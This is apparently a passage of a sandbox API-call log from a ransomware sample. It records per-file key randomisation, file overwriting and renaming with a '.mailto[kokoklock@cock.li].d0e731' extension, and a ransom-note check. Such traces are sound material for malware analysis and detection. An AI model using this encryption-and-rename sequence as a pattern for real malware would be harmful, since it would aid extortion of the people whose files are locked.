[0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x20618afc [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x2cb3f0d7 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xf6b29da5 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x3f7ecfa [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xc3ffb196 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xf1eedc59 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xebcfee44 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0x254666a7 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xc427be74 [0086.827] RtlRandom (in: Seed=0x2e53f808 | out: Seed=0x2e53f808) returned 0xd0d54065 [0086.837] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x2e53f7fc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e53f7fc*=0x2c6, lpOverlapped=0x0) returned 1 [0086.837] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e53f7c4 | out: lpNewFilePointer=0x0) returned 1 [0086.837] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c6, lpNumberOfBytesWritten=0x2e53f7f8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e53f7f8*=0x2c6, lpOverlapped=0x0) returned 1 [0086.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb78 [0086.837] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.837] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e53f7f4, lpOverlapped=0x0 | out: lpBuffer=0x55ddb78*, lpNumberOfBytesWritten=0x2e53f7f4*=0x20, lpOverlapped=0x0) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb78) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x55ddb50*, lpNumberOfBytesWritten=0x2e53f820*=0x8, lpOverlapped=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e53f838*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x2e53f838*, lpNumberOfBytesWritten=0x2e53f820*=0x4, lpOverlapped=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e53f820*=0x4, lpOverlapped=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e53f820*=0x6c, lpOverlapped=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e53f820*=0x20, lpOverlapped=0x0) returned 1 [0086.838] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e53f820, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e53f820*=0x4, lpOverlapped=0x0) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb28) returned 1 [0086.838] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb50) returned 1 [0086.839] CloseHandle (hObject=0x3d0) returned 1 [0086.839] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0086.839] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" [0086.839] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.839] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.839] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.840] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.840] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.840] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.840] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.840] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.840] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6508) returned 1 [0086.840] RtlExitUserThread (Status=0x1) Thread: id = 1330 os_tid = 0x10d8 [0086.841] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.841] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.841] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.842] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e5bfdf0 | out: lpFileSize=0x2e5bfdf0*=846) returned 1 [0086.842] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x34a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.842] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e5bfdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x2e5bfdc4*, lpNumberOfBytesRead=0x2e5bfdc0*=0x4, lpOverlapped=0x0) returned 1 [0086.843] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb28 [0086.843] NtQuerySystemTime (in: CurrentTime=0x2e5bfd9c | out: CurrentTime=0x2e5bfd9c*=132121176447422540) returned 0x0 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x9aebff87 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x317df5f2 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xfbaa894 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x292850ef [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x5d84e08e [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x8b1527a1 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xc9e8fc43 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xa86c08a7 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x64ab13e0 [0086.843] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x6c047e5 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xb0c471ec [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x405283fe [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x86ac061f [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x3cf6c826 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x3f4c4f79 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x6dc6b49c [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xf92ef332 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xcc9e8070 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x2bc6bf6a [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x99945b8e [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xa871bdcf [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x74f5702 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xe9eae771 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xc02fbfd8 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xca1ffd26 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xf8cbaa91 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xb08555a8 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x2b959535 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xb550abf7 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x8ad76470 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0xdffc7258 [0086.844] RtlRandom (in: Seed=0x2e5bfda8 | out: Seed=0x2e5bfda8) returned 0x3d4d53ff [0086.855] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x2e5bfd9c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e5bfd9c*=0x34e, lpOverlapped=0x0) returned 1 [0086.855] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5bfd64 | out: lpNewFilePointer=0x0) returned 1 [0086.855] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x34e, lpNumberOfBytesWritten=0x2e5bfd98, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e5bfd98*=0x34e, lpOverlapped=0x0) returned 1 [0086.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e5bfd94, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2e5bfd94*=0x20, lpOverlapped=0x0) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddb78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x55ddb78*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x8, lpOverlapped=0x0) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e5bfdd8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x2e5bfdd8*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x4, lpOverlapped=0x0) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x4, lpOverlapped=0x0) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x6c, lpOverlapped=0x0) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dda88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x55dda88*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x20, lpOverlapped=0x0) returned 1 [0086.856] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e5bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e5bfdc0*=0x4, lpOverlapped=0x0) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dda88) returned 1 [0086.856] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb50) returned 1 [0086.857] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb78) returned 1 [0086.857] CloseHandle (hObject=0x3d0) returned 1 [0086.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.857] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" [0086.857] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.857] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.857] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.858] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.858] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.858] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.858] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.858] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.858] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.858] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8d10) returned 1 [0086.858] RtlExitUserThread (Status=0x1) Thread: id = 1331 os_tid = 0x10e0 [0086.859] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml")) returned 0x20 [0086.860] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.860] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.860] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e63fdfc | out: lpFileSize=0x2e63fdfc*=854) returned 1 [0086.860] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x352, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.860] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e63fdd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e63fdcc, lpOverlapped=0x0 | out: lpBuffer=0x2e63fdd0*, lpNumberOfBytesRead=0x2e63fdcc*=0x4, lpOverlapped=0x0) returned 1 [0086.862] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde70 [0086.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dda88 [0086.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddb50 [0086.862] NtQuerySystemTime (in: CurrentTime=0x2e63fda8 | out: CurrentTime=0x2e63fda8*=132121176447579041) returned 0x0 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x1f1c8d60 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x5fbe04c8 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x5812586d [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x91e59e1a [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xf911ab01 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xe73a607e [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xb692ba07 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xea74b51d [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x53b5769a [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0xeb3d098d [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x5bf39221 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: Seed=0x2e63fdb4) returned 0x3e6acf89 [0086.862] RtlRandom (in: Seed=0x2e63fdb4 | out: 